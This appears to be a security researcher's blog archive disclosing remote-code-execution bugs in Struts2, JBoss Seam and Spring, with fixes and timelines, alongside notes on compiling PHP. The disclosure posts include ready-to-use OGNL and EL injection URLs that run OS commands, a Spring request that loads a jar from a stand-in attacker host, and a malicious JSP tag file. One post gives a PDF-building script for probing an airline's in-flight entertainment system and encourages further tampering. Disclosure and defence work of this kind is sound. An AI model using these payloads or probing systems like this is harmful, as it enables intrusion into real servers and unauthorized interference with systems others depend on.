Sunday, January 22, 2012

CVE-2011-3923: Yet another Struts2 Remote Code Execution

While investigating SEC Consult's Struts2 bugs (cool bugs, btw!), I've realized that due to the fact that Struts2 still allowed OGNL expression evaluation via parentheses I could evaluate OGNL expressions stored in action attributes (HTTP parameter values effectively), resulting in arbitrary code execution in Struts2 applications with default configuration (i.e. using the "params" interceptor), very similar to  CVE-2010-1870.

Expression Evaluation
So one of the OGNL's many features is expression evaluation:

(one)(two)

will evaluate one as an OGNL expression and will use its return value as another OGNL expression that it will evaluate with two as a root for the evaluation. So if one returns blah, then blah is evaluated as an OGNL statement.

CVE-2011-3923
Let's imagine we have an Action with a String parameter:

public class HelloWorldAction extends ActionSupport {
  private String foo;

  public void setFoo(String foo) {
    this.foo = foo;
  }

  public String getFoo() {
    return foo;
  }

  public String execute() throws Exception {
    return SUCCESS;
  }
}

foo is normally set via HTTP parameter, e.g. '/myaction?foo=my+string' by evaluating HTTP parameter name (foo in this case) as an OGNL statement. All HTTP parameter names in Struts2 are OGNL statements and the way Struts2 prevents users from doing scary things like modifying session or calling methods comes down to 2 things:

  • Regular expression that all HTTP parameter names are checked against and which, for example, will not allow @ or # symbols, which are needed to call static methods or modify server-side objects like #session
  • OgnlContext (#context) properties whose values are checked before invoking methods and which are set to disallow method and static method execution by default. See CVE-2010-1870 for more info.

CVE-2011-3923 is the result of ParametersInterceptor allowing parentheses and thus allowing expression evaluation, which can be exploited as follows:

/myaction?foo=<OGNL statement>&(foo)('meh')=

and here's what happens:
  1. Action attribute foo is set to the value of the foo HTTP parameter and will hold attacker's OGNL statement
  2. Second HTTP parameter named(foo)('meh')will be evaluated as an expression evaluation OGNL statement and foo action attribute will be retrieved from the action (remember we control its value via HTTP parameter) and its value will be evaluated as another OGNL statement.
Since attacker's OGNL statement is in HTTP parameter value we bypass the regular expression and are allowed to use special symbols to modify OGNL context properties to allow method execution.

Sample exploit will look as follows:

/myaction?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true

encoded:

/myaction?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWND%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

We need to ensure that foo attribute is set first, since we use its value later on. To achieve that I've used the z[(foo)('meh')]=true trick, which in this case results in foo being set first.

Fixing CVE-2011-3923

Please follow recommendations outlined in S2-009 and upgrade to 2.3.1.2.

Kudos to Maurizio Cucchiara from the Struts2 team for timely resolution of this issue!


Friday, October 22, 2010

Singaporean airlines entertainment system pwn

Here're some hints for your in-flight entertainment. If you're flying with singaporean airlines, they have a very nice in-flight entertainment system, apparently based on embedded linux, that among other things allows you to read your (p)OWN pdf files, play media files connect ipod and other shit. So I thought I'd prepare a couple of pdf files to play around next time I fly.

(you'll need mPDF class from Didier Stevens pdf tools:

#!/usr/bin/python

import mPDF
import sys
import optparse


def Main():
parser = optparse.OptionParser(usage="usage %prog filename",
version="%prog 0.1")
(options, args) = parser.parse_args()



if len(args) != 1:
parser.print_help()
sys.exit(1)


oPDF = mPDF.cPDF(args[0])
oPDF.header();
oPDF.indirectobject(1, 0, '<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n /OpenAction 7 0 R\n>>')
oPDF.indirectobject(2, 0, '<<\n /Type /Outlines\n /Count 0\n>>')
oPDF.indirectobject(3, 0, '<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>')
oPDF.indirectobject(4, 0, '<<\n /Type /Page\n /Parent 3 0 R\n /MediaBox [0 0 612 792]\n /Contents 5 0 R\n /Resources <<\n /ProcSet [/PDF /Text]\n /Font << /F1 6 0 R >>\n >>\n>>')
oPDF.stream(5, 0, 'BT /F1 12 Tf 100 700 Td 15 TL (SG pwn) Tj ET')
oPDF.indirectobject(6, 0, '<<\n /Type /Font\n /Subtype /Type1\n /Name /F1\n /BaseFont /Helvetica\n /Encoding /MacRomanEncoding\n>>')
oPDF.indirectobject(7, 0, '<<\n /Type /Action\n /S /URI\n /URI (file:///)\n>>')

oPDF.xrefAndTrailer('1 0 R')

if __name__ == '__main__':
Main()


Feel free to play with other shit. they seem to use xpdf for rendering, so there is also ActionLaunch, ActionMovie, etc.. not sure of their config yet thu (see details here ).

Also these things could be also useful: http://www.securiteam.com/unixfocus/6M0012AKAW.html (most likely ARM cpu)

UPD: (from anonymous friend): "they are using eX2 IFE from Panasonic Avionics. CPUs are x86 (VIA), not ARM." :-)
more details to come ;-)

Tuesday, September 7, 2010

notes on PHP source code protection

Situation: you have php code. php code to be installed on untrusted system. What's your take?

We've been experimenting with compiling php code into native binaries and then using binary packers. Binary packing is easy. UPX is ultimate solution.
Compiling php code is a bit messier. There's no universal solution. There's Zend Engine, which seems easiest but costs $$.

We've been experimenting with opensource compilers. Looked at these few: roadsend pcc http://code.roadsend.com/pcc), roadsend rphp (http://code.roadsend.com/rphp/) facebook hiphop php (what a name!! ;-))

Base platform - debian.

pcc - bigloo (a dialect of scheme) written compiler. Easy to bootstrap and get it blinking. We got it working with bigloo 3.4a-3 then down to compiling actual php code. Compiling simple scriptlets was easy. pcc comes with support of some runtime libraries (curl, gtk, mysql, odbc, sqlite, xml etc) which is nice. Didn't support json thu, so we had to hack our own. This was a bit of hassle, because we actually had to figure out how to code in scheme.. At the end we had something like:

(module php-json-lib
(include "../phpoo-extension.sch")
(library profiler)
(export
(init-php-json-lib)
(json-encode link)
(json-decode link)
))
....


that actually worked. Fair. Compiled binaries are surprisely faster than original php scripts. Actual compilation process is slightly amusing: php -> bigloo scheme -> .c -> .o -> binary -> upx packed !

learning scheme was useful thu.

Down to rphp:

Written in C++, uses llvm library. We are still experimenting w/ this compiler. to be updated.



hiphop-php. Comes from facebook team (where else they'd name their project 'hiphop' :p). Building was a bit of pain due to dependencies and manual patching. Following scriptlet summarizes installation steps of this monster on debian box:


git clone http://github.com/facebook/hiphop-php.git
wget http://www.monkey.org/~provos/libevent-1.4.14b-stable.tar.gz
tar xvfz libevent-1.4.14b-stable.tar.gz
cd libevent-1.4.14b-stable/
patch -p1 < ../hiphop-php/src/third_party/libevent-1.4.14.fb-changes.diff
sudo apt-get purge libevent-dev
./configure
sudo make && sudo make install
cd ..
tar xvfz curl-7.21.1.tar.gz
cd curl-7.21.1/
patch -p1 < ../hiphop-php/src/third_party/libcurl.fb-changes.diff
./configure
make
sudo make install
sudo apt-get install libgd2-noxpm-dev libxml2-dev libexpat1-dev libicu-dev libmcrypt-dev libonig-dev libreadline-dev libcap-dev binutils-dev libboost-dev libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libtbb-dev
cd ../hiphop-php
cmake .
make
make install


Compiling php code with hiphop-php is a bit freaky. hiphop php actually is capable of bundling your code with a webserver (nuts!), but you can simply use --keep-tempdir=1 and then pack that binary.

major drawback, out-of-box only mysql API support. The rest has to be hacked. Plus - extensions are written in C++, which are much easier to deal with.

Wednesday, July 28, 2010

CVE-2010-1871: JBoss Seam Framework remote code execution

Update Mon Aug 2 2010: Turned out JBoss didn't release fix for the community version at seamframework.org, though fix has been committed to the svn.
Update Mon Aug 11 2010: 2.2.1CR2 is released fixing this vulnerability.

Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions. Having any sort of custom expression language in a web framework is always a sign of potential vulnerabilities (see CVE-2010-1870 for another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing it.

JBoss EL
JBoss expression language provides all the normal features you'd expect:
  • Method calling:  #{hotelBooking.bookHotel(hotel)}
  • Property retrieval: #{person.name}
  • Projection (iteration): #{company.departments.{d|d.name}}
Variables referenced (e.g. hotelBookingpersoncompany) are resolved using various EL resolvers(extend javax.el.ELResolver), such as com.sun.faces.el.ImplicitObjectELResolver (use 'guest' username to view) or SeamELResolver. These resolvers let you reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's developer and not user, since it's possible to reach any other class and it's methods using java.lang.Class and reflection API. For example, we can obtain reference to the class representing java.lang.Runtime as follows (expressions is one of the base objects available by default, but any other object will do, e.g. request):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

to invoke 19th method in the array returned by getDeclaredMethods():

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass null, you'll have to provide an instance of the class to invoke the method on to the invoke() call. you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))


CVE-2010-1871: actionOutcome is remote code execution

After stepping through the sample booking app, I've come across org.jboss.seam.navigation.Pages.callAction() which takes value of the actionOutcome HTTP parameter and eventually passes it to JSF NavigationHandler's handleNavigation method (use 'guest' username with empty password to view). SeamNavigationHandler is Seam's implementation of JSF NavigationHandler and looking at its handleNavigation() you can see that if action outcome starts with / (checked by isOutcomeViewId() method) then it's passed to FacesManager.instance().interpolateAndRedirect() method which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator. Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at /pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to /pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the getDeclaredMethods() method:
1) public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2) public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around 24 methods in total).


Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}


upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:


/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful java.lang.Runtime.exec() call.


Timeline
July 19 - initial report.
July 22 - fix committed. Developers blacklisted # and { characters in actionOutcome.
July 27 - JBoss Seam team releases the fix for JBoss Enterprise Application Platform only. Note, however, that vulnerability has nothing to do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.

Friday, July 9, 2010

CVE-2010-1870: Struts2/XWork remote command execution

Update Tue Jul 13 2010: Added proof of concept
Update Wed July 14 2010: Added PoC for older version of Struts2/Xwork
Update Fri Aug 20 2010: Struts2 team finally released 2.2.1 on Aug 16th (2.5 months to release fixed version!).

Apache Struts team has announced uploaded but has not released, due to an unreasonably prolonged voting process, the 2.2.0 release of the Struts2 web framework which fixes vulnerability that I've reported to them on May 31st 2010. Apache Struts team is ridiculously slow in releasing the fixed version and all of my attempts to expedite the process have failed.

Introduction
Struts2 is Struts + WebWork. WebWork in turn uses XWork to invoke actions and call appropriate setters/getters based on HTTP parameter names, which is achieved by treating each HTTP parameter name as an OGNL statement. OGNL (Object Graph Navigation Language) is what turns:

user.address.city=Bishkek&user['favoriteDrink']=kumys

into

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

This is performed by the ParametersInterceptor, which calls ValueStack.setValue() with user-supplied HTTP parameters as arguments.
NOTE: If you are using XWork's ParametersInterceptor or operate with OGNL ValueStack in a similar way then you are vulnerable (ParametersInterceptor is on by default in struts-default.xml).

In addition to property getting/setting, OGNL supports many more features:
  • Method calling: foo()
  • Static method calling: @java.lang.System@exit(1)
  • Constructor calling: new MyClass()
  • Ability to work with context variables: #foo = new MyClass()
  • And more...
Since HTTP parameter names are OGNL statements, to prevent an attacker from calling arbitrary methods via HTTP parameters XWork has the following two variables guarding methods execution:
  • OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (set to true by default)
  • SecurityMemberAccess private field called 'allowStaticMethodAccess' (set to false by default)
OGNL Context variables
To make it easier for developer to access various frequently needed objects XWork provides several predefined context variables:
  • #application
  • #session
  • #request
  • #parameters
  • #attr
These variables represent various server-side objects, such as session map. To prevent attackers from tampering with server-side objects XWork's ParametersInterceptor disallowed # in parameter names. About a year ago I found a way to bypass that protection(XW-641) using Java's unicode String representation: \u0023. At the time I felt like the fix that was implemented (OGNL value stack clearing) was insufficient, but had not time to investigate this further. 

CVE-2010-1870
Earlier this year I finally got a chance to look at this again and found that in addition to the above mentioned context variables there were more:
  • #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.
  • #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
  • #root
  • #this
  • #_typeResolver
  • #_classResolver
  • #_traceEvaluations
  • #_lastEvaluation
  • #_keepLastEvaluation
You can probably see the problem already. Using XW-641 trick I was able to modify the values that were guarding Java methods execution and run arbitrary Java code:

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

Actual proof of concept had to use OGNL's expression evaluation when crafting HTTP request. PoC for this bug will be published on July 12 2010. To test whether your application is vulnerable you can use the following proof of concept, which will call java.lang.Runtime.getRuntime().exit(1):


http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1


Older versions of XWork didn't have the 'allowStaticMethodAccess' member so the following URL should achieve the same:




http://mydomain/MyStruts.action?(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1



Fixing CVE-2010-1870
Struts2 users must upgrade to the 2.2.0, which whitelists a set of characters that excludes characters required to exploit this vulnerability.


In cases where upgrade isn't possible you can use ParameterInterceptor's "excludeParams" parameter to whitelist the characters required for your application to operate correctly(usually A-z0-9_.'"[]) alternatively you can blacklist \()@ which are the characters required to exploit this bug.

Timeline
May 31st - email to security@struts.apache.org with vulnerability report.
June 4th - no response received, contacted developers again.
June 5th - had to find an XWork developer on IRC to look at this.
June 16th - Atlassian fixes vulnerability in its products. Atlassian and Struts developers worked together in coming up with the fix.
June 20th - 1-line fix commited
June 29th - Struts 2.2.0 release voting process started and is still going...


Sunday, June 20, 2010

CVE-2010-1622

Spring Source has recently published an advisory on CVE-2010-1622, so I figured I'd provide more details since other projects may be affected in similar ways due to incorrect usage of Java Beans API.

Java Beans API
Java Beans API's Introspector class provides 2 methods to obtain bean information of a class:

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)


Calling getBeanInfo() on a bean(POJO) without supplying a stopClass will result in BeanInfo's PropertyDescriptor array containing properties of the Object.class, which all Java classes have as their superclass. Example:

public class Person {
  private String firstName;
  private String lastName;


  public String getFirstName();
  public void setFirstName(String firstName); 
  public String getLastName();
  public void setLastName(String lastName);
}


...
public static void main(String[] args) throws Exception {
    BeanInfo info = Introspector.getBeanInfo(Person.class);
    PropertyDescriptor[] properties = 
          info.getPropertyDescriptors();
    for (PropertyDescriptor pd : properties) {
      System.out.println("Property: " + pd.getName());
    }
  }
...

The output is:
Property: class
Property: firstName
Property: lastName

firstName and lastName are expected but the class property corresponds to the Object.getClass() method, which returns Class. If we call Introspector.getBeanInfo(Class.class) we'll get a lot more properties:

Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
...

Spring Beans
Spring MVC allows developers to associate an object that represents HTML form input (form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:

POST /adduser HTTP/1.0
...
firstName=Tavis&lastName=Ormandy

will result in Spring (Spring Beans component) enumerating available properties of the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the firstName and lastName properties will be set to the corresponding values. To support more complex classes Spring also supports dot notation, so user.address.street=Disclosure+Str. will be an equivalent of:

frmObj.getUser().getAddress().setStreet("Disclosure Str.")  

The problem is that Spring Beans' CachedIntrospectionResults class that enumerates properties available to be set from user's form submission uses java.beans.Introspector.getBeanInfo() without specifying a stop class, which means that 'class' property and everything after it is available for setting from HTTP requests.

Attack
If an attacker submits HTTP request to a form controller with the following HTTP parameter:

POST /adduser HTTP/1.0
...
class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

she will overwrite 0th element in the array returned by frmObj.getClass().getClassLoader().getURLs() with her own URL.

Which class loader will it be?
In the case of Apache Tomcat it's org.apache.catalina.loader.WebappClassLoader

What's the deal with [0]?
Spring Framework automatically handles arrays and other collections (List, Map, etc). It can also automatically convert String to more complex types e.g. to java.io.File, java.net.URL, etc.

What's the deal with jar:http://...!/ URL?
Java's URL class automatically handles http:// JAR URLs just like it handles file:// URLs, it retrieves remote JAR transparently to the caller.

Where will the attacker's URL be used?
It turned out that Jasper's TldLocationsCache will use URLs returned by its class loader (the one the attacker modified above) to resolve Tag Library Descriptor (TLD) files when compiling JSP files. TLD files define custom tags and classes that implement them. In addition to classes, TLD files support tag files, which are essentially JSP files (plaintext file with Java code enclosed in <%...%>). In the attack above the attacker supplies a URL of a JAR file that contains modified spring-form.tld file which will define Spring's custom form tags as being implemented by tag files:

/META-INF/spring-form.tld which defines form:input and form:form tags: 

<tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>
  <tag-file>
    <name>form</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>


/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
 java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); 
%>

When Jasper will be resolving Spring form tag libraries referenced in a JSP file and will find spring-form.tld in the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.

It should be noted that, based on my quick inspection of the code, TldLocationsCache gets URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which makes this attack a lot harder to carry out.

How to avoid this bug?
Specify the stop class:
BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)


Parting thoughts
There's got to be more components out there that use class loader's URLs, which will make the attack easier than the one described above.

There's got to be a way to do something interesting with other 'class' properties still exposed. Spring's fix for this vulnerability was to blacklist 'classLoader' property.

There's a lot more code out there that doesn't specify stop class, some of it has to have security implications.